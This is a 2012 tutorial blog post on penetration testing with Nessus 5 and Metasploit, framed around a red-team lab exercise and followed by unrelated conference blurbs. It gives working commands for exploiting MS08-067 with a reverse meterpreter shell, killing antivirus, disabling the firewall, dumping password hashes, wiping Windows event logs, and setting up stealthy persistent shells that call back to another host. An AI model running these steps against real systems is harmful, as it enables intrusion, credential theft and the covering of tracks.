|By David Dodd||
|September 16, 2012 02:00 PM EDT||
The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. This tutorial will walk you through how to use the latest version of Nessus pre-built plugin filter ‘Metasploit Framework' in your pentest assignments. It will also cover some useful metasploit tips to achieve privilege escalation. Wouldn't it be great to have a shell on another box just in case you lose your meterpreter shell? This tutorial covers this and other metasploit tips.
Integrating Nessus 5 with Metasploit
With the release of Nessus 5 by Tenable Network Security users now have better filtering in policy creation, analysis, reporting, and faster scanning time. The product allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework for both local and remote exploits. To start go to the Tenable site http://www.tenable.com/products and download Nessus 5 and install. The new installation will install in /opt/nessus and will install overtop any previous version of the product. Start nessus daemon and open up your web browser to https://localhost:8834 login and go to policies and click add (see Figure #1) give your policy a title and click next. On the Credentials page leave it as default and click next at the bottom. The Plugins page will follow where you will add a filter and will be presented with a drop down with many different options, choose the ‘Metasploit Exploit Framework' make sure that ‘is equal to' and ‘true' is selected and click save (see Figure #2). Next disable all plugins and select the Family name that you would want to enable and click on the enable plugins in the upper right hand corner of the page. Do this for all Family plugins that you would like to enable and click submit at the bottom.
Figure #1 open web browser on https://localhost:8834
Figure #2 Select Metasploit Exploit Framework from the drop down
To begin a scan click on the scans and add, this will allow you to name the scan and type either run now, scheduled, or template. The policy dropdown is where you pick your policy that you created earlier followed by selecting a target. Now you can start a scan and the time it will take is surprisingly fast. After you are given a report that lists the Plugin ID, count, severity, name, and family of each as they relate to the Metasploit Framework (see Figure 3). The name section gives what exploit within Metasploit can be used successfully against the box.
Figure #3 Report gives what exploit in Metasploit can be used successfully on the box
You can also start a scan in the Metasploit Framework itself and use the plugin. Start the msfconsole and load nessus.
msf > load nessus
Once the plugins are loaded connect to the server.
msf > nessus_connect cr0wn:[email protected] ok
Now show the available plugins with the nessus_policy_list command (see Figure #4).
Figure #4 nessus_policy_list
You can use the policy to scan the network by using the policy ID, name of scan, and specifying a target IP range using the nessus_scan_new command (see Figure #5). For this scan we will be targeting a single Windows XP box with the IP address of 10.10.3.219. If you are connected to a database within the Metasploit Framework you can open a view the information from the console otherwise you can view them form the web browser. Now you can select an exploit to use on the target system such as the MS08-067, or MS06-040.
Figure #5 nessus_scan_new
Basic Exploitation using Metasploit
At this point we will use the MS08-067 flaw to our advantage and get a meterpreter shell on the box. To accomplish this do the following:
msf > use exploit/windows/smb/ms08_067_netapi
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.218
msf > set lport 5555
msf > set rhost 10.10.3.188
msf > exploit
Useful meterpreter commands
Now we are left with a meterpreter shell on the windows box and there are a number of things that can be done now. Checking to see if the box your on is a virtual machine, has anti-virus, what the local subnet looks like, and what kind of security configuration is on the victim system is a good first start. Metasploit comes with some useful scripts to perform these tasks.
meterpreter > run checkvm
This will show you the help menu with options, choose -d to disable built in firewall.
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d
To kill most antivirus, run the ‘killav' script.
meterpreter > run killav
To identify the local subnet mask that the victim is on run the ‘get_local_subnets' script
meterpreter > run get_local_subnets
You may want to search the host for interesting information such as *.pdf, *.txt, *.doc, *.jpg, etc. Use the search function in meterpreter.
meterpreter > search -h
meterpreter > search -f *.pdf
To get some detailed information about the system use the ‘winenum' script and the ‘scraper' script. Winenum script will dump tokens, hashes and provide you with lots of information (see Figure #6). The ‘scraper' script will pull down the registry and system information.
meterpreter > run winenum
meterpreter > run scraper
Figure #6 winenum command
Now we should delete the log files. To do this, open up into the meterpreter scripting menu by using the ‘irb' command. Then issue the following at the >> prompt:
log = client.sys.enentlog.open(‘system')
meterpreter > irb
[*] Starting IRB shell
[*] The ‘client' variable holds the meterpreter client
>> log = client.sys.eventlog.open(‘system')
While we're at it lets go ahead and delete the security log and application log, just change (‘system') to (‘security') & (‘application').
Being able to shove a meterpreter shell to team members that you are performing a pentest with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. On day 4 there is a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team and having the ability to throw meterpreter shells to my fellow red team members would be helpful. Here are a few examples of how this is done.
The first example is using the meterpreter script ‘persistence', to see a list of options use the -h switch.
Meterpreter > run persistence -h
Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180
This would throw a meterpreter session to remote system -r 10.10.3.180 at an interval (5 seconds), at port -p 5555, and would be loaded into and run (-X) every time the machine booted up. The recipient of this would be waiting for the meterpreter shell by using the multi/handler.
msf > use multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.180
msf > set lport 5555
msf > exploit
The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell you get a list of running processes. To view a list of running process issue the ‘ps' command.
meterpreter > ps
Look through the list of process and identify PID's that can be used that will not draw attention such as IEXPLORER.EXE PID 3664 (see Figure #7).
Figure #7 ps command
Being able to inject the meterpreter shell into the IEXPLORE.EXE process would be stealthy. Let's run the multi_meter_inject command using the following switches.
meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664
This would throw a meterpreter session to remote system -mr 10.10.3.180, at port -p 3664. The recipient of this would be waiting for the meterpreter shell by using the multi/handler just like above, just change the lport to 3664 (see Figure #8).
Figure #8 Recipient of meterpreter shell using multi_meter_inject
Now when performing some basic analysis on the victim box you can run ‘tasklist' and nothing looks out of place (see Figure #9), but when you run ‘netstat -an' you will see the foreign connection (see Figure #10).
Figure #9 tasklist command
Figure #10 netstat -an command
A third way to send off meterpreter shells to a foreign box for your friends or one that you own is to use the meterpreter script duplicate. At the meterpreter prompt issue the following commands:
meterpreter > run duplicate -h
This will give you the various options.
meterpreter > run duplicate -r 10.10.3.180
This will send a meterpreter shell to the IP address 10.10.3.180 on the default port of 4546 (see Figure #11).
Figure #11 Recipient of meterpreter shell using duplicate
You can run a packet sniffer on the box after you allow your team member to obtain meterpreter shells if you like. This meterpreter script, like the ones above written by Carlos Perez is called packetrecorder and allows some more granularities when capturing packets.
meterpreter > run packetrecorder
This will give you a list of options to use. You will need to determine the interface to listen on; this can be obtained by issuing the following command ‘run packetrecorder -li'. This will give a list of network interfaces; choose one and a destination to write the file to.
meterpreter > run packetrecorder -i -l /home/tmp/
[*] Packet capture interval is 30 Seconds
The file can later be reviewed with wireshark or tcpdump.
Big Data, cloud, analytics, contextual information, wearable tech, sensors, mobility, and WebRTC: together, these advances have created a perfect storm of technologies that are disrupting and transforming classic communications models and ecosystems. In his session at @ThingsExpo, Erik Perotti, Senior Manager of New Ventures on Plantronics’ Innovation team, provided an overview of this technological shift, including associated business and consumer communications impacts, and opportunities it m...
Jan. 21, 2017 02:00 AM EST Reads: 5,811
Manufacturers are embracing the Industrial Internet the same way consumers are leveraging Fitbits – to improve overall health and wellness. Both can provide consistent measurement, visibility, and suggest performance improvements customized to help reach goals. Fitbit users can view real-time data and make adjustments to increase their activity. In his session at @ThingsExpo, Mark Bernardo Professional Services Leader, Americas, at GE Digital, discussed how leveraging the Industrial Internet and...
Jan. 21, 2017 01:30 AM EST Reads: 6,564
"Tintri was started in 2008 with the express purpose of building a storage appliance that is ideal for virtualized environments. We support a lot of different hypervisor platforms from VMware to OpenStack to Hyper-V," explained Dan Florea, Director of Product Management at Tintri, in this SYS-CON.tv interview at 18th Cloud Expo, held June 7-9, 2016, at the Javits Center in New York City, NY.
Jan. 21, 2017 01:15 AM EST Reads: 4,892
There will be new vendors providing applications, middleware, and connected devices to support the thriving IoT ecosystem. This essentially means that electronic device manufacturers will also be in the software business. Many will be new to building embedded software or robust software. This creates an increased importance on software quality, particularly within the Industrial Internet of Things where business-critical applications are becoming dependent on products controlled by software. Qua...
Jan. 21, 2017 01:15 AM EST Reads: 5,041
Fact is, enterprises have significant legacy voice infrastructure that’s costly to replace with pure IP solutions. How can we bring this analog infrastructure into our shiny new cloud applications? There are proven methods to bind both legacy voice applications and traditional PSTN audio into cloud-based applications and services at a carrier scale. Some of the most successful implementations leverage WebRTC, WebSockets, SIP and other open source technologies. In his session at @ThingsExpo, Da...
Jan. 21, 2017 01:15 AM EST Reads: 2,883
A critical component of any IoT project is what to do with all the data being generated. This data needs to be captured, processed, structured, and stored in a way to facilitate different kinds of queries. Traditional data warehouse and analytical systems are mature technologies that can be used to handle certain kinds of queries, but they are not always well suited to many problems, particularly when there is a need for real-time insights.
Jan. 21, 2017 12:15 AM EST Reads: 6,374
In his General Session at 16th Cloud Expo, David Shacochis, host of The Hybrid IT Files podcast and Vice President at CenturyLink, investigated three key trends of the “gigabit economy" though the story of a Fortune 500 communications company in transformation. Narrating how multi-modal hybrid IT, service automation, and agile delivery all intersect, he will cover the role of storytelling and empathy in achieving strategic alignment between the enterprise and its information technology.
Jan. 21, 2017 12:00 AM EST Reads: 4,704
IoT is at the core or many Digital Transformation initiatives with the goal of re-inventing a company's business model. We all agree that collecting relevant IoT data will result in massive amounts of data needing to be stored. However, with the rapid development of IoT devices and ongoing business model transformation, we are not able to predict the volume and growth of IoT data. And with the lack of IoT history, traditional methods of IT and infrastructure planning based on the past do not app...
Jan. 20, 2017 10:45 PM EST Reads: 917
WebRTC is bringing significant change to the communications landscape that will bridge the worlds of web and telephony, making the Internet the new standard for communications. Cloud9 took the road less traveled and used WebRTC to create a downloadable enterprise-grade communications platform that is changing the communication dynamic in the financial sector. In his session at @ThingsExpo, Leo Papadopoulos, CTO of Cloud9, discussed the importance of WebRTC and how it enables companies to focus o...
Jan. 20, 2017 08:45 PM EST Reads: 4,383
The Internet of Things can drive efficiency for airlines and airports. In their session at @ThingsExpo, Shyam Varan Nath, Principal Architect with GE, and Sudip Majumder, senior director of development at Oracle, discussed the technical details of the connected airline baggage and related social media solutions. These IoT applications will enhance travelers' journey experience and drive efficiency for the airlines and the airports.
Jan. 20, 2017 05:45 PM EST Reads: 2,102
With major technology companies and startups seriously embracing IoT strategies, now is the perfect time to attend @ThingsExpo 2016 in New York. Learn what is going on, contribute to the discussions, and ensure that your enterprise is as "IoT-Ready" as it can be! Internet of @ThingsExpo, taking place June 6-8, 2017, at the Javits Center in New York City, New York, is co-located with 20th Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry p...
Jan. 20, 2017 05:15 PM EST Reads: 3,825
"LinearHub provides smart video conferencing, which is the Roundee service, and we archive all the video conferences and we also provide the transcript," stated Sunghyuk Kim, CEO of LinearHub, in this SYS-CON.tv interview at @ThingsExpo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA.
Jan. 20, 2017 03:00 PM EST Reads: 1,661
Things are changing so quickly in IoT that it would take a wizard to predict which ecosystem will gain the most traction. In order for IoT to reach its potential, smart devices must be able to work together. Today, there are a slew of interoperability standards being promoted by big names to make this happen: HomeKit, Brillo and Alljoyn. In his session at @ThingsExpo, Adam Justice, vice president and general manager of Grid Connect, will review what happens when smart devices don’t work togethe...
Jan. 20, 2017 02:15 PM EST Reads: 640
"There's a growing demand from users for things to be faster. When you think about all the transactions or interactions users will have with your product and everything that is between those transactions and interactions - what drives us at Catchpoint Systems is the idea to measure that and to analyze it," explained Leo Vasiliou, Director of Web Performance Engineering at Catchpoint Systems, in this SYS-CON.tv interview at 18th Cloud Expo, held June 7-9, 2016, at the Javits Center in New York Ci...
Jan. 20, 2017 01:30 PM EST Reads: 5,747
The 20th International Cloud Expo has announced that its Call for Papers is open. Cloud Expo, to be held June 6-8, 2017, at the Javits Center in New York City, brings together Cloud Computing, Big Data, Internet of Things, DevOps, Containers, Microservices and WebRTC to one location. With cloud computing driving a higher percentage of enterprise IT budgets every year, it becomes increasingly important to plant your flag in this fast-expanding business opportunity. Submit your speaking proposal ...
Jan. 20, 2017 01:30 PM EST Reads: 5,252
WebRTC is the future of browser-to-browser communications, and continues to make inroads into the traditional, difficult, plug-in web communications world. The 6th WebRTC Summit continues our tradition of delivering the latest and greatest presentations within the world of WebRTC. Topics include voice calling, video chat, P2P file sharing, and use cases that have already leveraged the power and convenience of WebRTC.
Jan. 20, 2017 12:30 PM EST Reads: 3,201
Discover top technologies and tools all under one roof at April 24–28, 2017, at the Westin San Diego in San Diego, CA. Explore the Mobile Dev + Test and IoT Dev + Test Expo and enjoy all of these unique opportunities: The latest solutions, technologies, and tools in mobile or IoT software development and testing. Meet one-on-one with representatives from some of today's most innovative organizations
Jan. 20, 2017 12:30 PM EST Reads: 1,665
20th Cloud Expo, taking place June 6-8, 2017, at the Javits Center in New York City, NY, will feature technical sessions from a rock star conference faculty and the leading industry players in the world. Cloud computing is now being embraced by a majority of enterprises of all sizes. Yesterday's debate about public vs. private has transformed into the reality of hybrid cloud: a recent survey shows that 74% of enterprises have a hybrid cloud strategy.
Jan. 20, 2017 12:30 PM EST Reads: 4,358
SYS-CON Events announced today that Super Micro Computer, Inc., a global leader in Embedded and IoT solutions, will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 7-9, 2017, at the Javits Center in New York City, NY. Supermicro (NASDAQ: SMCI), the leading innovator in high-performance, high-efficiency server technology, is a premier provider of advanced server Building Block Solutions® for Data Center, Cloud Computing, Enterprise IT, Hadoop/Big Data, HPC and E...
Jan. 20, 2017 12:15 PM EST Reads: 5,845
Internet of @ThingsExpo, taking place June 6-8, 2017 at the Javits Center in New York City, New York, is co-located with the 20th International Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world. @ThingsExpo New York Call for Papers is now open.
Jan. 20, 2017 10:45 AM EST Reads: 3,718